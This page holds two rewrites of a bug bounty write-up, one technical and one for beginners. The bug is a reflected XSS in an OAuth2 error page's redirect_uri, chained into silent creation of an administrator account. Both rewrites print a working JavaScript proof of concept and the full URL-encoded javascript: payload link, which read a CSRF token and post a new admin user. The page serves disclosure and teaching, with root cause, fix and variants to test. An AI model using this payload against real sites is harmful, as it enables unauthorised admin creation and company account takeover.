Skip to content
XSS Write-up Intermediate

From Reflected XSS to Account takeover

A Bug’z Life Follow

Published on medium.com

After starting bug hunting a little over 2 months ago, here is our first bug writeup, enjoy!

A Bug’z Life, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The target was a private, invite-only platform tested through a private HackerOne program. The researcher had been hunting on it for a couple of weeks. The specific feature in scope here is the OAuth2 authorisation flow used by two of the company's applications that integrate with each other. The flow exposes an authorisation endpoint that takes the usual OAuth2 parameters, including redirect_uri, state and client_id.

The second relevant feature is the platform's user invitation and creation process. New users, including admins, could be invited without any form of re-authentication or verification. The user creation endpoint accepts a multipart form with roughly 30 fields, of which only a handful are required.

Setup

The researcher already had access to the private program and had been testing the two integrated applications. No special tooling is described: the work was done with a browser and hand-written JavaScript, and the proof of concept relies on XMLHttpRequest and FormData. The important precondition is that the platform is invite-only, so an attacker would not normally have any account at all. The researcher explicitly frames the exploit as going from zero access to full access.

Finding it

While testing the OAuth2 integration, the researcher looked at the usual suspects: open redirect and CSRF through a static state parameter. Those appeared to be handled well. The odd behaviour was in how redirect_uri was handled on error. If any of the other required parameters were incorrect or missing, such as state or client_id, the user was redirected to an error page with a single button to click. That button was an <a> tag, and its href was set to whatever value had been supplied in the redirect_uri parameter.

That is the classic reflected XSS sink: a user-controlled URL parameter written into an anchor's href without validation of the scheme. Supplying javascript:alert(1) as redirect_uri produced an alert box, confirming the XSS.

The researcher nearly submitted the report straight away, as several other XSS findings had already been found on the program. Instead they paused and connected it to the invitation process: if an admin could be made to click the crafted link, the XSS would run in the admin's session, and the invitation flow required no re-authentication. That combination turns a reflected XSS into an account takeover.

Exploitation

Step 1: confirm the reflection

The error page renders the redirect_uri value as the href of its single button. Setting the parameter to javascript:alert(1) and triggering the error path (by making another required parameter incorrect or missing) executes script in the page's origin.

Step 2: inspect the user creation request

The POST request that creates a new admin is a multipart form with about 30 fields. Only a few are required: login, firstname, lastname, email, role_id and csrf-token.

Step 3: extract the CSRF token

A GET request to the user creation endpoint returns a page whose source contains the CSRF token in a meta tag:

HTML
<meta name="csrf-token" content="UdNWofQE+cZSKftgI7GnDpmImM7vTJB9ew3dF53+/Ekwtg2KWw/nRbHdIHIoDd4L+HQ/w7xTUPB2ZHnG01fxnQ==" />

The token value shown here is the one from the report. The extraction code performs the GET, parses the response as a document, reads the content attribute of the element named csrf-token, and logs it:

JavaScript
var url = "/user/new";var xhr = new XMLHttpRequest();    xhr.responseType = "document";    xhr.open("GET", url, true);    xhr.onload = function (e) {        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {            page = xhr.response            // Get the csrf token from meta tag            token = page.getElementsByName('csrf-token')[0].getAttribute('content')            // Show the token            console.log("The token is: " + token);        }    };    xhr.send(null);

Because the script runs in the target origin, the GET is same-origin and the response document is readable, so the meta tag can be parsed directly.

Step 4: create the admin account

The final proof of concept combines token extraction and form submission. It fetches the token, then posts a FormData body to the same endpoint with the required fields. role_ids[] is set to 2, which the report identifies as the admin role, and new_status is set to active:

JavaScript
var url = "/user/new";function submitFormWithToken(token) {    var xhr = new XMLHttpRequest();    xhr.open("POST", url, true);var formData = new FormData();    formData.append("authenticity_token", token);    formData.append("login", "neemaPoC");    formData.append("firstname", "Neema");    formData.append("lastname", "PoC");    formData.append("email", "[redacted]");    // role_id = 2 is the admin role    formData.append("role_ids[]", 2);    formData.append("new_status", "active");xhr.send(formData);}var xhr = new XMLHttpRequest();    xhr.responseType = "document";    xhr.open("GET", url, true);    xhr.onload = function (e) {        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {            page = xhr.response            // Get the csrf token from meta tag            token = page.getElementsByName('csrf-token')[0].getAttribute('content')            // Show the token            console.log("The token is: " + token);            // Use the token to submit the form            submitFormWithToken(token);        }    };    // Make the request    xhr.send(null);

Note that the token is sent as authenticity_token in the form body, while it was read from the csrf-token meta tag.

Step 5: deliver the payload

The JavaScript was minified and URL-encoded into the redirect_uri parameter of the authorisation endpoint. The report notes there were no length restrictions to worry about:

HTTP
https://company.com/oauth2/authorizations/new?redirect_uri=javascript:var%20url%3D%22%2Fuser%2Fnew%22%3Bfunction%20submitFormWithToken%28e%29%7Bvar%20t%3Dnew%20XMLHttpRequest%3Bt.open%28%22POST%22%2Curl%2C%210%29%3Bvar%20n%3Dnew%20FormData%3Bn.append%28%22authenticity_token%22%2Ce%29%2Cn.append%28%22login%22%2C%22neemaPoC%22%29%2Cn.append%28%22firstname%22%2C%22Neema%22%29%2Cn.append%28%22lastname%22%2C%22PoC%22%29%2Cn.append%28%22email%22%2C%22xss_demo%40gmail.com%22%29%2Cn.append%28%22role_ids%5B%5D%22%2C2%29%2Cn.append%28%22new_status%22%2C%22active%22%29%2Ct.send%28n%29%7Dvar%20xhr%3Dnew%20XMLHttpRequest%3Bxhr.responseType%3D%22document%22%2Cxhr.open%28%22GET%22%2Curl%2C%210%29%2Cxhr.onload%3Dfunction%28e%29%7Bxhr.readyState%3D%3D%3DXMLHttpRequest.DONE%26%26200%3D%3D%3Dxhr.status%26%26%28page%3Dxhr.response%2Ctoken%3Dpage.getElementsByName%28%22csrf-token%22%29%5B0%5D.getAttribute%28%22content%22%29%2Cconsole.log%28%22The%20token%20is%3A%20%22%2Btoken%29%2CsubmitFormWithToken%28token%29%29%7D%2Cxhr.send%28null%29%3B

When the victim clicks the button on the error page, the two requests are sent and the admin account is created. The researcher received the registration email, which could be used to set credentials for the new account. No notification or confirmation is sent to the victim, so the activity goes unnoticed unless the victim actively verifies account details.

Step 6: full takeover

Because admin is the highest level of access and one admin can delete any other, the attacker could go further and delete the other admins, completing a full account takeover of the company account.

Root cause

The XSS comes from writing the raw redirect_uri parameter into the href of an anchor on the OAuth2 error page without validating the scheme. A javascript: URI in an href executes when clicked, so any value the attacker supplies becomes script in the application's origin. The error path is the weak point: the error page writes the raw redirect_uri into the anchor.

The escalation works because the CSRF token is readable from a meta tag on the same origin, and because creating a user, including an admin, requires no re-authentication or verification. Once script runs in the admin's session, it can read the token from the meta tag and submit the creation form with the admin role.

Impact

An attacker who can get an admin to click the crafted link can create a new admin account without any existing account on the invite-only platform, then use the registration email to set credentials. From there they can delete other admins and take over the company account. The attack is silent: no notification reaches the victim. The report frames the impact as going from zero access to full access, and notes that XSS vulns would be devastating if targeted to admin users because of the invitation process. The researcher also lists similar escalations seen on the program: reflected XSS to admin creation to company account takeover, stored XSS to email change to user account takeover, reflected XSS to an API endpoint returning credit card numbers, and reflected XSS to email change to user account takeover, each rewarded at multiples of the normal XSS reward.

Fix

The report does not state what the team changed. The fix should be to validate redirect_uri against an allowlist of schemes and hosts on every path, including the error page, and to refuse or neutralise javascript: and other non-HTTP schemes before rendering the value into an href. The user creation endpoint should also require re-authentication or a step-up confirmation for privileged roles, and the CSRF token should not be readable by script in a way that lets a single XSS chain into account creation.

Variants to test

  1. On any OAuth2 authorisation endpoint, send a redirect_uri with a javascript: scheme while making another required parameter missing or invalid. A positive result is script execution on the error page.
  2. Try other schemes and encodings in redirect_uri, such as mixed case, HTML entities or URL-encoded javascript:. A positive result is the anchor rendering an executable URI.
  3. Look for other error pages that reflect request parameters into href, src or inline handlers. A positive result is a reflected payload that fires on interaction or load.
  4. On user or admin creation endpoints, check whether the CSRF token is exposed in a meta tag or readable DOM and whether the creation form accepts a privileged role identifier. A positive result is a same-origin script creating a privileged account.
  5. Check whether privileged actions such as invitations or role changes require re-authentication. A positive result is a privileged action completing from a hijacked session without a password prompt.
  6. Test stored XSS in features available to lower-privileged users and see whether it can reach admin-only actions. A positive result is privilege escalation beyond the original XSS.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

A small team of bug hunters had been testing a private, invite-only website through a private bug bounty programme on HackerOne. After a couple of weeks they had found a few issues, mostly of middling severity, and nothing worth writing up. Then they found a cross-site scripting (XSS) bug in the OAuth2 authorisation flow between two of the company's applications, and instead of just reporting the pop-up box it produced, they worked out how to turn it into something much bigger: creating a brand new administrator account on a platform where they did not even have a user account to begin with.

This article walks through that chain from the very beginning, assuming you can use a browser and nothing else. Every term is explained where it first appears, and every piece of code from the report is shown exactly as it was written, followed by a plain-language explanation of what each line does.

Background: what the platform and the features are

The platform

The target was a private, invite-only platform. "Invite-only" means you cannot simply sign up: an existing user has to invite you, and you receive an email with a link to set your password. This matters a lot for the story, because it means a random attacker on the internet normally has no account at all. The researcher explicitly framed the exploit as going from zero access to full access.

OAuth2, in everyday terms

OAuth2 is a standard way for two applications to trust each other. A common everyday comparison: when you use a website that offers "Sign in with Google", you are not giving that website your Google password. Instead, Google asks you to confirm, then hands the website a limited pass. OAuth2 is the set of rules behind that exchange.

In this report, two of the company's own applications integrate with each other using OAuth2. The flow exposes an authorisation endpoint: a web address that takes a set of parameters (named values in the URL) and decides whether to let one application act on behalf of a user in the other. The parameters mentioned in the report are:

  • redirect_uri: where to send the user after the authorisation step.
  • state: a value the requesting application sends and expects back, used to tie the response to the request.
  • client_id: an identifier for the application making the request.

The user invitation and creation process

The second relevant feature is how the platform creates users. New users, including admins, could be invited without any form of re-authentication or verification. "Re-authentication" means being asked for your password again before a sensitive action; "verification" here means any extra confirmation step. Neither happened.

The user creation endpoint accepts a multipart form with roughly 30 fields, of which only a handful are required. A "multipart form" is the format a web page uses when it sends a form that can include files as well as text; each field is a named piece of data. An "endpoint" is simply a specific web address on the server that does a particular job, like a counter in a shop: you go to the right counter with the right paperwork and the clerk performs that one task.

Setup

The researcher already had access to the private programme and had been testing the two integrated applications. No special tooling is described: the work was done with a browser and hand-written JavaScript. JavaScript is the programming language that runs inside web pages; it is what makes pages interactive, and it is also what an XSS bug lets an attacker run.

The proof of concept relies on two browser features:

  • XMLHttpRequest: a way for JavaScript inside a page to fetch another web address in the background, without reloading the page. Think of it as a quiet messenger the page sends out and waits for.
  • FormData: a way for JavaScript to build up a form's worth of fields in memory and send them, as if a user had filled in a form and pressed submit.

The important precondition is that the platform is invite-only, so an attacker would not normally have any account at all.

Finding it

While testing the OAuth2 integration, the researcher looked at the usual suspects: open redirect and CSRF through a static state parameter. Two more terms:

  • An open redirect is a bug where a site will send you to any address an attacker puts in a link, which is useful for phishing because the link starts with the real company's name.
  • CSRF (cross-site request forgery) is a bug where another website can make your browser send a request to a site you are logged into, using your existing login, without you meaning to. A "static" state parameter would be one that never changes, which makes that kind of forgery easier.

Those appeared to be handled well. The odd behaviour was in how redirect_uri was handled on error. If any of the other required parameters were incorrect or missing, such as state or client_id, the user was redirected to an error page with a single button to click. That button was an <a> tag, and its href was set to whatever value had been supplied in the redirect_uri parameter.

An <a> tag is the HTML element behind a hyperlink. Its href attribute is the address the link points to. Normally that is a web address like https://example.com, but browsers also accept a special kind of address beginning with javascript:, which means "run the code that follows instead of going to a page".

That is the classic reflected XSS sink. Two more terms:

  • XSS (cross-site scripting) is a bug where an attacker gets their own JavaScript to run inside someone else's web page, in that page's context. "Reflected" means the malicious value is bounced straight back from the request into the page, rather than being stored on the server.
  • A sink is the place in the page where untrusted data ends up being used in a way that can execute it. Writing a user-controlled value into an anchor's href without checking what kind of address it is, is exactly such a sink.

Supplying javascript:alert(1) as redirect_uri produced an alert box, confirming the XSS. alert(1) is the simplest possible demonstration: it makes the browser show a small pop-up saying "1". If that pop-up appears, your code ran.

The researcher nearly submitted the report straight away, as several other XSS findings had already been found on the programme. Instead they paused and connected it to the invitation process: if an admin could be made to click the crafted link, the XSS would run in the admin's session, and the invitation flow required no re-authentication. That combination turns a reflected XSS into an account takeover.

A session is how a website remembers that you are logged in: after you sign in, the server gives your browser a token (often kept in a cookie), and the browser sends it with every request so the server knows who you are. If an attacker's code runs inside your page, it runs with your session, which means it can do anything you could do.

Exploitation

Step 1: confirm the reflection

The error page renders the redirect_uri value as the href of its single button. Setting the parameter to javascript:alert(1) and triggering the error path (by making another required parameter incorrect or missing) executes script in the page's origin.

"Origin" means the combination of scheme, host and port, for example https://company.com. Browsers treat each origin as a separate security zone: script running in one origin cannot normally read data from another. Because the script here runs in the company's own origin, it can read the company's own pages and use the user's session.

Step 2: inspect the user creation request

The POST request that creates a new admin is a multipart form with about 30 fields. Only a few are required: login, firstname, lastname, email, role_id and csrf-token.

A POST request is the kind a browser sends when it is submitting data, as opposed to a GET, which is the kind it sends when it is just asking for a page. The researcher looked at the request to learn which fields the server actually needs.

Step 3: extract the CSRF token

A GET request to the user creation endpoint returns a page whose source contains the CSRF token in a meta tag:

HTML
<meta name="csrf-token" content="UdNWofQE+cZSKftgI7GnDpmImM7vTJB9ew3dF53+/Ekwtg2KWw/nRbHdIHIoDd4L+HQ/w7xTUPB2ZHnG01fxnQ==" />

A CSRF token is a long random value that the server puts into a page and expects back when the form is submitted. Its purpose is to prove that the request came from a page the server itself served, not from some other website trying to forge a request. The value shown above is the one from the report.

A meta tag is a line in a page's HTML that carries information about the page rather than visible content. Here the token is stored in the content attribute of a tag named csrf-token, which is a common convention in web frameworks.

The extraction code performs the GET, parses the response as a document, reads the content attribute of the element named csrf-token, and logs it:

JavaScript
var url = "/user/new";var xhr = new XMLHttpRequest();    xhr.responseType = "document";    xhr.open("GET", url, true);    xhr.onload = function (e) {        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {            page = xhr.response            // Get the csrf token from meta tag            token = page.getElementsByName('csrf-token')[0].getAttribute('content')            // Show the token            console.log("The token is: " + token);        }    };    xhr.send(null);

Line by line:

  1. var url = "/user/new"; stores the address of the user creation page in a variable called url. A variable is a named box that holds a value so you can use it later.
  2. var xhr = new XMLHttpRequest(); creates the messenger object that will make the background request.
  3. xhr.responseType = "document"; tells the messenger to hand back the reply as a document, meaning a parsed page whose elements can be searched, rather than as raw text.
  4. xhr.open("GET", url, true); prepares a GET request to that address. The true means "do this in the background and tell me when it is done" rather than freezing the page.
  5. xhr.onload = function (e) { ... }; sets up what to do when the reply arrives. Everything inside the braces is that follow-up work.
  6. if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { checks that the request finished and that the server answered with status 200, which is the standard code for "OK".
  7. page = xhr.response stores the returned document in a variable called page.
  8. token = page.getElementsByName('csrf-token')[0].getAttribute('content') searches that document for elements named csrf-token, takes the first one, and reads its content attribute. That is the secret value.
  9. console.log("The token is: " + token); prints the token to the browser's console, the developer panel where messages can be read, so the researcher can see it worked.
  10. xhr.send(null); actually sends the request. The null means there is no body to send with a GET.

Because the script runs in the target origin, the GET is same-origin and the response document is readable, so the meta tag can be parsed directly. In other words, the browser's security zone rule does not get in the way, because the script is already inside the zone.

Step 4: create the admin account

The final proof of concept combines token extraction and form submission. It fetches the token, then posts a FormData body to the same endpoint with the required fields. role_ids[] is set to 2, which the report identifies as the admin role, and new_status is set to active:

JavaScript
var url = "/user/new";function submitFormWithToken(token) {    var xhr = new XMLHttpRequest();    xhr.open("POST", url, true);var formData = new FormData();    formData.append("authenticity_token", token);    formData.append("login", "neemaPoC");    formData.append("firstname", "Neema");    formData.append("lastname", "PoC");    formData.append("email", "[redacted]");    // role_id = 2 is the admin role    formData.append("role_ids[]", 2);    formData.append("new_status", "active");xhr.send(formData);}var xhr = new XMLHttpRequest();    xhr.responseType = "document";    xhr.open("GET", url, true);    xhr.onload = function (e) {        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {            page = xhr.response            // Get the csrf token from meta tag            token = page.getElementsByName('csrf-token')[0].getAttribute('content')            // Show the token            console.log("The token is: " + token);            // Use the token to submit the form            submitFormWithToken(token);        }    };    // Make the request    xhr.send(null);

Line by line:

  1. var url = "/user/new"; again stores the user creation address.
  2. function submitFormWithToken(token) { ... } defines a reusable block of code, a function, that takes the token as its input and does the account creation. Defining it does not run it; it only runs when called.
  3. var xhr = new XMLHttpRequest(); creates a fresh messenger for the creation request.
  4. xhr.open("POST", url, true); prepares a POST to the same address, because this time data is being sent.
  5. var formData = new FormData(); creates an empty form in memory.
  6. formData.append("authenticity_token", token); adds the CSRF token to the form. Note that the token is sent as authenticity_token in the form body, while it was read from the csrf-token meta tag: the two names differ, which is a detail worth noticing.
  7. formData.append("login", "neemaPoC"); sets the new account's login name.
  8. formData.append("firstname", "Neema"); sets the first name.
  9. formData.append("lastname", "PoC"); sets the last name.
  10. formData.append("email", "[redacted]"); sets the email address that will receive the registration email.
  11. formData.append("role_ids[]", 2); sets the role. The comment in the code says role_id = 2 is the admin role, so this is what makes the new account an administrator rather than an ordinary user.
  12. formData.append("new_status", "active"); marks the account as active straight away.
  13. xhr.send(formData); sends the completed form to the server.
  14. The rest of the code repeats the token extraction from Step 3: it creates another messenger, asks for the user creation page, and when the reply arrives with status 200, stores the page, reads the token from the meta tag, prints it, and then calls submitFormWithToken(token) to run the creation function with that token.
  15. xhr.send(null); sends the GET that starts the whole chain.

Step 5: deliver the payload

The JavaScript was minified and URL-encoded into the redirect_uri parameter of the authorisation endpoint. Two terms:

  • Minified means the code has been squashed down, with unnecessary spaces and line breaks removed, so it takes as little room as possible.
  • URL-encoded means special characters have been replaced with codes like %20 for a space or %3B for a semicolon, because a web address can only contain certain characters safely. Think of it as packing a fragile object in bubble wrap so it survives the journey through the URL.

The report notes there were no length restrictions to worry about:

HTTP
https://company.com/oauth2/authorizations/new?redirect_uri=javascript:var%20url%3D%22%2Fuser%2Fnew%22%3Bfunction%20submitFormWithToken%28e%29%7Bvar%20t%3Dnew%20XMLHttpRequest%3Bt.open%28%22POST%22%2Curl%2C%210%29%3Bvar%20n%3Dnew%20FormData%3Bn.append%28%22authenticity_token%22%2Ce%29%2Cn.append%28%22login%22%2C%22neemaPoC%22%29%2Cn.append%28%22firstname%22%2C%22Neema%22%29%2Cn.append%28%22lastname%22%2C%22PoC%22%29%2Cn.append%28%22email%22%2C%22xss_demo%40gmail.com%22%29%2Cn.append%28%22role_ids%5B%5D%22%2C2%29%2Cn.append%28%22new_status%22%2C%22active%22%29%2Ct.send%28n%29%7Dvar%20xhr%3Dnew%20XMLHttpRequest%3Bxhr.responseType%3D%22document%22%2Cxhr.open%28%22GET%22%2Curl%2C%210%29%2Cxhr.onload%3Dfunction%28e%29%7Bxhr.readyState%3D%3D%3DXMLHttpRequest.DONE%26%26200%3D%3D%3Dxhr.status%26%26%28page%3Dxhr.response%2Ctoken%3Dpage.getElementsByName%28%22csrf-token%22%29%5B0%5D.getAttribute%28%22content%22%29%2Cconsole.log%28%22The%20token%20is%3A%20%22%2Btoken%29%2CsubmitFormWithToken%28token%29%29%7D%2Cxhr.send%28null%29%3B

What this address does, piece by piece:

  1. https://company.com/oauth2/authorizations/new is the OAuth2 authorisation endpoint.
  2. ?redirect_uri= starts the parameter list and names the parameter the error page will use as its button's href.
  3. javascript: tells the browser that what follows is code to run, not a page to visit.
  4. The rest is the minified, URL-encoded version of the two-step script from Step 4: fetch the token, then post the form. The %20, %22, %3B, %28, %29, %7B, %7D and similar sequences are the encoded spaces, quotes, semicolons, brackets and braces.

When the victim clicks the button on the error page, the two requests are sent and the admin account is created. The researcher received the registration email, which could be used to set credentials for the new account. No notification or confirmation is sent to the victim, so the activity goes unnoticed unless the victim actively verifies account details. That silence is a big part of why this chain is dangerous: nothing appears to happen from the victim's point of view.

Step 6: full takeover

Because admin is the highest level of access and one admin can delete any other, the attacker could go further and delete the other admins, completing a full account takeover of the company account. "Account takeover" means gaining control of an account that is not yours; here it is the whole company's administrative control.

Root cause

The XSS comes from writing the raw redirect_uri parameter into the href of an anchor on the OAuth2 error page without validating the scheme. A javascript: URI in an href executes when clicked, so any value the attacker supplies becomes script in the application's origin. The error path is the weak point: the error page writes the raw redirect_uri into the anchor.

The escalation works because the CSRF token is readable from a meta tag on the same origin, and because creating a user, including an admin, requires no re-authentication or verification. Once script runs in the admin's session, it can read the token from the meta tag and submit the creation form with the admin role.

Impact

An attacker who can get an admin to click the crafted link can create a new admin account without any existing account on the invite-only platform, then use the registration email to set credentials. From there they can delete other admins and take over the company account. The attack is silent: no notification reaches the victim. The report frames the impact as going from zero access to full access, and notes that XSS vulns would be devastating if targeted to admin users because of the invitation process.

The researcher also lists similar escalations seen on the programme, each rewarded at multiples of the normal XSS reward:

Chain Reward
Reflected XSS, create admin user, company account takeover 2x normal XSS reward
Stored XSS, change victim's email, user account takeover 3x normal XSS reward
Reflected XSS, call an API endpoint returning credit card numbers 2x normal XSS reward
Reflected XSS, change victim's email, user account takeover 2x normal XSS reward

An API endpoint is a web address meant for programs rather than people: it returns data instead of a page. "Stored XSS" is the variant where the malicious value is saved on the server and shown to other users later, rather than bounced back immediately.

Fix

The report does not state what the team changed. The fix should be to validate redirect_uri against an allowlist of schemes and hosts on every path, including the error page, and to refuse or neutralise javascript: and other non-HTTP schemes before rendering the value into an href. An allowlist is a list of things that are permitted, with everything else refused by default. The user creation endpoint should also require re-authentication or a step-up confirmation for privileged roles, and the CSRF token should not be readable by script in a way that lets a single XSS chain into account creation.

Variants to test

  1. On any OAuth2 authorisation endpoint, send a redirect_uri with a javascript: scheme while making another required parameter missing or invalid. A positive result is script execution on the error page.
  2. Try other schemes and encodings in redirect_uri, such as mixed case, HTML entities or URL-encoded javascript:. A positive result is the anchor rendering an executable URI.
  3. Look for other error pages that reflect request parameters into href, src or inline handlers. A positive result is a reflected payload that fires on interaction or load.
  4. On user or admin creation endpoints, check whether the CSRF token is exposed in a meta tag or readable DOM and whether the creation form accepts a privileged role identifier. A positive result is a same-origin script creating a privileged account.
  5. Check whether privileged actions such as invitations or role changes require re-authentication. A positive result is a privileged action completing from a hijacked session without a password prompt.
  6. Test stored XSS in features available to lower-privileged users and see whether it can reach admin-only actions. A positive result is privilege escalation beyond the original XSS.

Glossary

  • Account takeover: gaining control of an account that belongs to someone else, usually by stealing or abusing their session.
  • Allowlist: a list of permitted values, with everything not on the list refused.
  • API endpoint: a web address designed to return data to a program rather than a page to a person.
  • CSRF (cross-site request forgery): a bug where another site makes your browser send a request to a site you are logged into, using your existing login.
  • CSRF token: a long random value placed in a page and expected back on submission, proving the request came from the site itself.
  • Endpoint: a specific web address on a server that performs one particular job.
  • FormData: a browser feature for building up a form's fields in memory and sending them from JavaScript.
  • GET: the kind of request a browser sends when asking for a page or data.
  • href: the attribute of a link that holds the address it points to.
  • Invite-only: a platform where you cannot sign up yourself; an existing user must invite you.
  • JavaScript: the programming language that runs inside web pages.
  • Meta tag: an HTML tag that carries information about a page rather than visible content.
  • Minified: code with unnecessary spaces and line breaks removed to make it smaller.
  • Multipart form: a form format that can carry many named fields, and files as well as text.
  • OAuth2: a standard for letting two applications trust each other without sharing passwords.
  • Open redirect: a bug where a site will send you to any address an attacker supplies.
  • Origin: the combination of scheme, host and port, treated by browsers as one security zone.
  • POST: the kind of request a browser sends when submitting data.
  • Re-authentication: being asked for your password again before a sensitive action.
  • Reflected XSS: XSS where the malicious value is bounced straight back from the request into the page.
  • Session: how a site remembers you are logged in, usually via a token sent with every request.
  • Sink: the place in a page where untrusted data is used in a way that can execute it.
  • Stored XSS: XSS where the malicious value is saved on the server and shown to other users later.
  • URL-encoded: special characters replaced with codes like %20 so they can travel safely in a web address.
  • Variable: a named box in a program that holds a value.
  • XSS (cross-site scripting): a bug where an attacker's JavaScript runs inside someone else's web page, in that page's context.
  • XMLHttpRequest: a browser feature that lets JavaScript fetch another address in the background.

More by A Bug’z Life

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.